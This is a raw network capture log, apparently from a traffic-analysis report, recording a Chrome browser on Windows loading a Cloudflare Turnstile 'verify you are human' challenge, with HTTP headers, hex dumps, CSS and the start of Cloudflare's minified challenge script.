2025-03-13 14:46:05 UTC	1297	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 14:46:05 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 28424 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 permissions-policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() content-security-policy: default-src 'none'; script-src 'nonce-M2hJNCDTjuLtBiSX' 'unsafe-eval'; script-src-attr 'none'; worker-src blob:; style-src 'unsafe-inline'; img-src 'self'; connect-src 'self'; frame-src 'self' blob:; child-src 'self' blob:; form-action 'none'; base-uri 'self'; sandbox allow-same-origin allow-scripts allow-popups allow-forms cross-origin-embedder-policy: require-corp cross-origin-opener-policy: same-origin cross-origin-resource-policy: cross-origin origin-agent-cluster: ?1 accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA
2025-03-13 14:46:05 UTC	411	IN	Data Raw: 63 72 69 74 69 63 61 6c 2d 63 68 3a 20 53 65 63 2d 43 48 2d 55 41 2d 42 69 74 6e 65 73 73 2c 20 53 65 63 2d 43 48 2d 55 41 2d 41 72 63 68 2c 20 53 65 63 2d 43 48 2d 55 41 2d 4d 6f 62 69 6c 65 2c 20 53 65 63 2d 43 48 2d 55 41 2d 4d 6f 64 65 6c 2c 20 53 65 63 2d 43 48 2d 55 41 2d 50 6c 61 74 66 6f 72 6d 2d 56 65 72 73 69 6f 6e 2c 20 53 65 63 2d 43 48 2d 55 41 2d 46 75 6c 6c 2d 56 65 72 73 69 6f 6e 2d 4c 69 73 74 2c 20 53 65 63 2d 43 48 2d 55 41 2d 50 6c 61 74 66 6f 72 6d 2c 20 53 65 63 2d 43 48 2d 55 41 2c 20 55 41 2d 42 69 74 6e 65 73 73 2c 20 55 41 2d 41 72 63 68 2c 20 55 41 2d 46 75 6c 6c 2d 56 65 72 73 69 6f 6e 2c 20 55 41 2d 4d 6f 62 69 6c 65 2c 20 55 41 2d 4d 6f 64 65 6c 2c 20 55 41 2d 50 6c 61 74 66 6f 72 6d 2d 56 65 72 73 69 6f 6e 2c 20 55 41 2d 50 Data Ascii: critical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-P
2025-03-13 14:46:05 UTC	1030	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 78 2d 75 61 2d 63 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 22 20 63 6f 6e 74 65 6e 74 3d 22 64 65 66 61 75 6c 74 2d 73 72 63 20 26 23 78 32 37 3b 6e 6f 6e 65 26 23 78 32 37 3b 3b 20 73 63 72 69 70 74 2d 73 72 63 20 26 23 78 32 37 3b 6e 6f 6e 63 65 2d 4d 32 68 4a 4e 43 44 54 6a 75 4c 74 42 69 53 58 26 23 78 32 37 3b 20 26 23 78 32 37 3b 75 6e 73 61 66 65 2d Data Ascii: <!DOCTYPE HTML><html lang="en-US"><head> <meta http-equiv="x-ua-compatible" content="IE=Edge,chrome=1"> <meta http-equiv="content-security-policy" content="default-src 'none'; script-src 'nonce-M2hJNCDTjuLtBiSX' 'unsafe-
2025-03-13 14:46:05 UTC	1369	IN	Data Raw: 61 6d 65 73 20 66 69 6c 6c 66 61 69 6c 7b 74 6f 7b 62 6f 78 2d 73 68 61 64 6f 77 3a 69 6e 73 65 74 20 30 20 33 30 70 78 20 30 20 30 20 23 64 65 31 33 30 33 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 69 6c 6c 66 61 69 6c 2d 6f 66 66 6c 61 62 65 6c 7b 74 6f 7b 62 6f 78 2d 73 68 61 64 6f 77 3a 69 6e 73 65 74 20 30 20 30 20 30 20 33 30 70 78 20 23 32 33 32 33 32 33 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 69 6c 6c 66 61 69 6c 2d 6f 66 66 6c 61 62 65 6c 2d 64 61 72 6b 7b 74 6f 7b 62 6f 78 2d 73 68 61 64 6f 77 3a 69 6e 73 65 74 20 30 20 30 20 30 20 33 30 70 78 20 23 66 66 66 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 73 63 61 6c 65 2d 75 70 2d 63 65 6e 74 65 72 7b 30 25 7b 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 2e 30 31 29 7d 74 6f 7b 74 72 61 6e 73 66 6f Data Ascii: ames fillfail{to{box-shadow:inset 0 30px 0 0 #de1303}}@keyframes fillfail-offlabel{to{box-shadow:inset 0 0 0 30px #232323}}@keyframes fillfail-offlabel-dark{to{box-shadow:inset 0 0 0 30px #fff}}@keyframes scale-up-center{0%{transform:scale(.01)}to{transfo
2025-03-13 14:46:05 UTC	1369	IN	Data Raw: 2d 61 6c 69 67 6e 3a 72 69 67 68 74 7d 23 6f 76 65 72 72 75 6e 2d 69 2c 23 73 70 69 6e 6e 65 72 2d 69 7b 61 6e 69 6d 61 74 69 6f 6e 3a 73 70 69 6e 20 35 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 68 65 69 67 68 74 3a 33 30 70 78 3b 77 69 64 74 68 3a 33 30 70 78 7d 23 66 61 69 6c 2d 69 7b 61 6e 69 6d 61 74 69 6f 6e 3a 73 63 61 6c 65 2d 75 70 2d 63 65 6e 74 65 72 20 2e 36 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 35 35 2c 2e 30 38 35 2c 2e 36 38 2c 2e 35 33 29 20 62 6f 74 68 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 69 6e 73 65 74 20 30 20 30 20 30 20 23 64 65 31 33 30 33 7d 23 66 61 69 6c 2d 69 2c 23 73 75 63 63 65 73 73 2d 69 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 35 30 25 3b 64 69 73 70 6c 61 79 3a Data Ascii: -align:right}#overrun-i,#spinner-i{animation:spin 5s linear infinite;display:flex;height:30px;width:30px}#fail-i{animation:scale-up-center .6s cubic-bezier(.55,.085,.68,.53) both;box-shadow:inset 0 0 0 #de1303}#fail-i,#success-i{border-radius:50%;display:
2025-03-13 14:46:05 UTC	1369	IN	Data Raw: 73 68 61 64 6f 77 3a 69 6e 73 65 74 20 30 20 30 20 30 20 23 30 61 61 39 33 37 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 73 75 63 63 65 73 73 2d 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 3a 23 30 61 61 39 33 37 3b 66 69 6c 6c 3a 23 30 61 61 39 33 37 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 65 78 70 69 72 65 64 2d 63 69 72 63 6c 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 74 69 6d 65 6f 75 74 2d 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 64 61 73 68 61 72 72 61 79 3a 31 36 36 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 31 36 36 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 39 39 39 3b 66 69 6c 6c 3a 23 39 39 39 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 65 78 Data Ascii: shadow:inset 0 0 0 #0aa937}.theme-dark .success-circle{stroke:#0aa937;fill:#0aa937}.theme-dark .expired-circle,.theme-dark .timeout-circle{stroke-dasharray:166;stroke-dashoffset:166;stroke-width:2;stroke-miterlimit:10;stroke:#999;fill:#999}.theme-dark #ex
2025-03-13 14:46:05 UTC	1369	IN	Data Raw: 31 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 68 31 7b 63 6f 6c 6f 72 3a 23 66 66 66 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 7b 63 6f 6c 6f 72 3a 23 66 66 61 32 39 39 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 61 63 74 69 76 65 Data Ascii: 1}.theme-dark h1{color:#fff}.theme-dark #challenge-error-title{color:#ffa299}.theme-dark #challenge-error-title a,.theme-dark #challenge-error-title a:link,.theme-dark #challenge-error-title a:visited{color:#bbb}.theme-dark #challenge-error-title a:active
2025-03-13 14:46:05 UTC	1369	IN	Data Raw: 72 65 73 68 2d 6c 69 6e 6b 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 74 69 6d 65 6f 75 74 2d 72 65 66 72 65 73 68 2d 6c 69 6e 6b 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 74 69 6d 65 6f 75 74 2d 72 65 66 72 65 73 68 2d 6c 69 6e 6b 3a 68 6f 76 65 72 7b 63 6f 6c 6f 72 3a 23 39 34 39 34 39 34 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 6f 76 65 72 6c 61 79 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 66 66 61 32 39 39 3b 63 6f 6c 6f 72 3a 23 66 66 61 32 39 39 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 65 72 72 6f 72 2d 6d 65 73 73 61 67 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 65 72 72 6f 72 2d 6d 65 73 73 61 67 65 20 61 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 65 72 72 6f 72 2d 6d 65 73 73 61 67 65 20 61 3a 6c 69 6e Data Ascii: resh-link:active,.theme-dark #timeout-refresh-link:focus,.theme-dark #timeout-refresh-link:hover{color:#949494}.theme-dark .overlay{border-color:#ffa299;color:#ffa299}.theme-dark .error-message,.theme-dark .error-message a,.theme-dark .error-message a:lin
2025-03-13 14:46:05 UTC	1369	IN	Data Raw: 74 3a 63 68 65 63 6b 65 64 7e 2e 63 62 2d 69 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 35 70 78 3b 6f 70 61 63 69 74 79 3a 31 3b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 30 64 65 67 29 20 73 63 61 6c 65 28 31 29 7d 2e 63 62 2d 6c 62 20 69 6e 70 75 74 3a 63 68 65 63 6b 65 64 7e 2e 63 62 2d 69 3a 61 66 74 65 72 7b 62 6f 72 64 65 72 3a 73 6f 6c 69 64 20 23 63 34 34 64 30 65 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 30 3b 62 6f 72 64 65 72 2d 77 69 64 74 68 3a 30 20 34 70 78 20 34 70 78 20 30 3b 68 65 69 67 68 74 3a 31 32 70 78 3b 6c 65 66 74 3a 35 70 78 3b 74 6f 70 3a 30 3b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 34 35 64 65 67 29 20 73 63 61 6c 65 28 31 29 3b 77 69 Data Ascii: t:checked~.cb-i{background-color:#fff;border-radius:5px;opacity:1;transform:rotate(0deg) scale(1)}.cb-lb input:checked~.cb-i:after{border:solid #c44d0e;border-radius:0;border-width:0 4px 4px 0;height:12px;left:5px;top:0;transform:rotate(45deg) scale(1);wi
2025-03-13 14:46:05 UTC	1369	IN	Data Raw: 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 20 73 70 61 63 65 2d 65 76 65 6e 6c 79 3b 76 69 73 69 62 69 6c 69 74 79 3a 76 69 73 69 62 6c 65 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 65 78 70 69 72 65 64 2d 74 65 78 74 2c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 6f 76 65 72 72 75 6e 2d 74 65 78 74 2c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 74 69 6d 65 6f 75 74 2d 74 65 78 74 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 65 78 70 69 72 65 64 2d 72 65 66 72 65 73 68 2d 6c 69 6e 6b 2c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 74 69 6d 65 6f 75 74 2d 72 65 66 72 65 73 68 2d 6c 69 6e 6b 2c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 65 72 72 6f 72 2d 6d 65 73 73 61 67 65 20 61 7b 6d 61 72 67 69 6e 3a Data Ascii: content:center space-evenly;visibility:visible}.size-compact #expired-text,.size-compact #overrun-text,.size-compact #timeout-text{display:block}.size-compact #expired-refresh-link,.size-compact #timeout-refresh-link,.size-compact .error-message a{margin:
2025-03-13 14:46:05 UTC	1369	IN	Data Raw: 72 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 30 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 31 36 70 78 7d 23 74 65 72 6d 73 7b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 3b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 66 6c 65 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 38 70 78 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 66 6c 65 78 2d 65 6e 64 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 30 70 78 7d 23 74 65 72 6d 73 20 2e 6c 69 6e 6b 2d 73 70 61 63 65 72 7b 6d 61 72 67 69 6e 3a 30 20 2e 32 72 65 6d 7d 23 74 65 72 6d 73 20 61 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 7d 23 74 65 72 6d 73 20 61 2c 23 74 65 72 6d 73 20 61 3a 6c 69 6e 6b 2c 23 74 65 72 6d 73 20 61 3a 76 69 73 69 74 65 64 7b 63 Data Ascii: r{margin-left:0;margin-right:16px}#terms{color:#232323;display:inline-flex;font-size:8px;font-style:normal;justify-content:flex-end;line-height:10px}#terms .link-spacer{margin:0 .2rem}#terms a{display:inline-block}#terms a,#terms a:link,#terms a:visited{c

Timestamp	Bytes transferred	Direction	Data
2025-03-13 14:46:07 UTC	772	OUT	GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=91fc51994e2a9acb&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/ta6tn/0x4AAAAAAA-uZx5FUOdPH-Fx/auto/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 14:46:07 UTC	331	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 14:46:07 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 118928 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 91fc51a87bcfdb25-MIA alt-svc: h3=":443"; ma=86400
2025-03-13 14:46:07 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 6e 69 45 44 61 35 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 70 72 69 76 61 63 79 5f 6c 69 6e 6b 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 70 72 69 76 61 63 79 70 6f 6c 69 63 79 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 74 65 72 6d 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 77 65 62 73 69 74 65 2d 74 65 72 6d 73 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 Data Ascii: window._cf_chl_opt.niEDa5={"metadata":{"challenge.privacy_link":"https%3A%2F%2Fwww.cloudflare.com%2Fprivacypolicy%2F","challenge.terms":"https%3A%2F%2Fwww.cloudflare.com%2Fwebsite-terms%2F","challenge.supported_browsers":"https%3A%2F%2Fdevelopers.cloudfla
2025-03-13 14:46:07 UTC	1369	IN	Data Raw: 78 74 22 3a 22 56 65 72 69 66 79 25 32 30 79 6f 75 25 32 30 61 72 65 25 32 30 68 75 6d 61 6e 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 61 69 6c 75 72 65 22 3a 22 45 72 72 6f 72 22 2c 22 75 6e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 22 3a 22 59 6f 75 72 25 32 30 62 72 6f 77 73 65 72 25 32 30 69 73 25 32 30 6f 75 74 25 32 30 6f 66 25 32 30 64 61 74 65 2e 25 32 30 55 70 64 61 74 65 25 32 30 79 6f 75 72 25 32 30 62 72 6f 77 73 65 72 25 32 30 74 6f 25 32 30 76 69 65 77 25 32 30 74 68 69 73 25 32 30 73 69 74 65 25 32 30 70 72 6f 70 65 72 6c 79 2e 25 33 43 62 72 25 32 46 25 33 45 25 33 43 61 25 32 30 74 61 72 67 65 74 25 33 44 25 32 32 5f 62 6c 61 6e 6b 25 32 32 25 32 30 72 65 6c 25 33 44 25 32 32 6e 6f 6f 70 65 6e 65 72 25 32 30 6e 6f 72 65 66 65 72 Data Ascii: xt":"Verify%20you%20are%20human","turnstile_failure":"Error","unsupported_browser":"Your%20browser%20is%20out%20of%20date.%20Update%20your%20browser%20to%20view%20this%20site%20properly.%3Cbr%2F%3E%3Ca%20target%3D%22_blank%22%20rel%3D%22noopener%20norefer
2025-03-13 14:46:07 UTC	1369	IN	Data Raw: 6c 65 5f 66 65 65 64 62 61 63 6b 5f 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 53 65 6e 64 25 32 30 46 65 65 64 62 61 63 6b 22 7d 2c 22 70 6f 6c 79 66 69 6c 6c 73 22 3a 7b 22 66 65 65 64 62 61 63 6b 5f 72 65 70 6f 72 74 5f 61 75 78 5f 73 75 62 74 69 74 6c 65 22 3a 66 61 6c 73 65 2c 22 66 65 65 64 62 61 63 6b 5f 72 65 70 6f 72 74 5f 67 75 69 64 65 6c 69 6e 65 22 3a 66 61 6c 73 65 2c 22 66 65 65 64 62 61 63 6b 5f 72 65 70 6f 72 74 5f 6f 75 74 70 75 74 5f 73 75 62 74 69 74 6c 65 22 3a 66 61 6c 73 65 7d 2c 22 72 74 6c 22 3a 66 61 6c 73 65 2c 22 6c 61 6e 67 22 3a 22 65 6e 2d 75 73 22 7d 3b 7e 66 75 6e 63 74 69 6f 6e 28 67 4a 2c 65 4d 2c 65 4e 2c 65 4f 2c 65 50 2c 65 53 2c 65 54 2c 66 6c 2c 66 6f 2c 66 71 2c 66 72 2c 66 73 2c 66 45 2c 66 51 2c 66 57 2c 66 58 2c Data Ascii: le_feedback_description":"Send%20Feedback"},"polyfills":{"feedback_report_aux_subtitle":false,"feedback_report_guideline":false,"feedback_report_output_subtitle":false},"rtl":false,"lang":"en-us"};~function(gJ,eM,eN,eO,eP,eS,eT,fl,fo,fq,fr,fs,fE,fQ,fW,fX,
2025-03-13 14:46:07 UTC	1369	IN	Data Raw: 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3e 69 7d 2c 27 43 44 4f 70 68 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 26 68 7d 2c 27 5a 56 54 62 4b 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2d 69 7d 2c 27 43 53 4b 72 58 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 41 51 6d 4d 54 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 3c 69 7d 2c 27 58 59 5a 6d 7a 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 26 68 7d 2c 27 78 71 79 45 4c 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2d 69 7d 2c 27 59 56 6e 4f 76 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b Data Ascii: :function(h,i){return h>i},'CDOph':function(h,i){return i&h},'ZVTbK':function(h,i){return h-i},'CSKrX':function(h,i){return h(i)},'AQmMT':function(h,i){return h<<i},'XYZmz':function(h,i){return i&h},'xqyEL':function(h,i){return h-i},'YVnOv':function(h,i){
2025-03-13 14:46:07 UTC	1369	IN	Data Raw: 2c 4d 2c 4e 2c 4f 29 7b 69 66 28 67 50 3d 67 4d 2c 69 3d 3d 6e 75 6c 6c 29 72 65 74 75 72 6e 27 27 3b 66 6f 72 28 78 3d 7b 7d 2c 42 3d 7b 7d 2c 43 3d 27 27 2c 44 3d 32 2c 45 3d 33 2c 46 3d 32 2c 47 3d 5b 5d 2c 48 3d 30 2c 49 3d 30 2c 4a 3d 30 3b 64 5b 67 50 28 35 35 32 29 5d 28 4a 2c 69 5b 67 50 28 31 37 35 36 29 5d 29 3b 4a 2b 3d 31 29 69 66 28 4b 3d 69 5b 67 50 28 36 35 39 29 5d 28 4a 29 2c 4f 62 6a 65 63 74 5b 67 50 28 34 30 30 29 5d 5b 67 50 28 36 34 33 29 5d 5b 67 50 28 31 30 38 33 29 5d 28 78 2c 4b 29 7c 7c 28 78 5b 4b 5d 3d 45 2b 2b 2c 42 5b 4b 5d 3d 21 30 29 2c 4c 3d 43 2b 4b 2c 4f 62 6a 65 63 74 5b 67 50 28 34 30 30 29 5d 5b 67 50 28 36 34 33 29 5d 5b 67 50 28 31 30 38 33 29 5d 28 78 2c 4c 29 29 43 3d 4c 3b 65 6c 73 65 20 66 6f 72 28 4d 3d 64 5b Data Ascii: ,M,N,O){if(gP=gM,i==null)return'';for(x={},B={},C='',D=2,E=3,F=2,G=[],H=0,I=0,J=0;d[gP(552)](J,i[gP(1756)]);J+=1)if(K=i[gP(659)](J),Object[gP(400)][gP(643)][gP(1083)](x,K)\|\|(x[K]=E++,B[K]=!0),L=C+K,Object[gP(400)][gP(643)][gP(1083)](x,L))C=L;else for(M=d[
2025-03-13 14:46:07 UTC	1369	IN	Data Raw: 28 4f 3d 43 5b 67 50 28 38 36 38 29 5d 28 30 29 2c 73 3d 30 3b 64 5b 67 50 28 31 30 30 34 29 5d 28 38 2c 73 29 3b 48 3d 48 3c 3c 31 7c 4f 26 31 2e 36 34 2c 6a 2d 31 3d 3d 49 3f 28 49 3d 30 2c 47 5b 67 50 28 31 32 35 39 29 5d 28 6f 28 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4f 3e 3e 3d 31 2c 73 2b 2b 29 3b 7d 65 6c 73 65 20 69 66 28 67 50 28 33 39 32 29 3d 3d 3d 67 50 28 35 33 34 29 29 4f 28 29 3b 65 6c 73 65 7b 66 6f 72 28 4f 3d 31 2c 73 3d 30 3b 73 3c 46 3b 48 3d 64 5b 67 50 28 31 35 39 38 29 5d 28 48 3c 3c 31 2e 34 37 2c 4f 29 2c 49 3d 3d 64 5b 67 50 28 31 33 32 31 29 5d 28 6a 2c 31 29 3f 28 49 3d 30 2c 47 5b 67 50 28 31 32 35 39 29 5d 28 6f 28 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4f 3d 30 2c 73 2b 2b 29 3b 66 6f 72 28 4f 3d 43 5b 67 50 28 38 36 38 29 Data Ascii: (O=C[gP(868)](0),s=0;d[gP(1004)](8,s);H=H<<1\|O&1.64,j-1==I?(I=0,G[gP(1259)](o(H)),H=0):I++,O>>=1,s++);}else if(gP(392)===gP(534))O();else{for(O=1,s=0;s<F;H=d[gP(1598)](H<<1.47,O),I==d[gP(1321)](j,1)?(I=0,G[gP(1259)](o(H)),H=0):I++,O=0,s++);for(O=C[gP(868)
2025-03-13 14:46:07 UTC	1369	IN	Data Raw: 2c 45 3d 30 3b 64 5b 67 53 28 36 39 30 29 5d 28 33 2c 45 29 3b 73 5b 45 5d 3d 45 2c 45 2b 3d 31 29 3b 66 6f 72 28 4a 3d 30 2c 4b 3d 4d 61 74 68 5b 67 53 28 35 30 38 29 5d 28 32 2c 32 29 2c 46 3d 31 3b 46 21 3d 4b 3b 4c 3d 47 26 48 2c 48 3e 3e 3d 31 2c 64 5b 67 53 28 31 33 37 39 29 5d 28 30 2c 48 29 26 26 28 48 3d 6a 2c 47 3d 6f 28 49 2b 2b 29 29 2c 4a 7c 3d 64 5b 67 53 28 31 36 31 39 29 5d 28 30 3c 4c 3f 31 3a 30 2c 46 29 2c 46 3c 3c 3d 31 29 3b 73 77 69 74 63 68 28 4a 29 7b 63 61 73 65 20 30 3a 66 6f 72 28 4a 3d 30 2c 4b 3d 4d 61 74 68 5b 67 53 28 35 30 38 29 5d 28 32 2c 38 29 2c 46 3d 31 3b 64 5b 67 53 28 31 35 31 33 29 5d 28 46 2c 4b 29 3b 4c 3d 64 5b 67 53 28 34 34 36 29 5d 28 47 2c 48 29 2c 48 3e 3e 3d 31 2c 30 3d 3d 48 26 26 28 48 3d 6a 2c 47 3d 6f Data Ascii: ,E=0;d[gS(690)](3,E);s[E]=E,E+=1);for(J=0,K=Math[gS(508)](2,2),F=1;F!=K;L=G&H,H>>=1,d[gS(1379)](0,H)&&(H=j,G=o(I++)),J\|=d[gS(1619)](0<L?1:0,F),F<<=1);switch(J){case 0:for(J=0,K=Math[gS(508)](2,8),F=1;d[gS(1513)](F,K);L=d[gS(446)](G,H),H>>=1,0==H&&(H=j,G=o
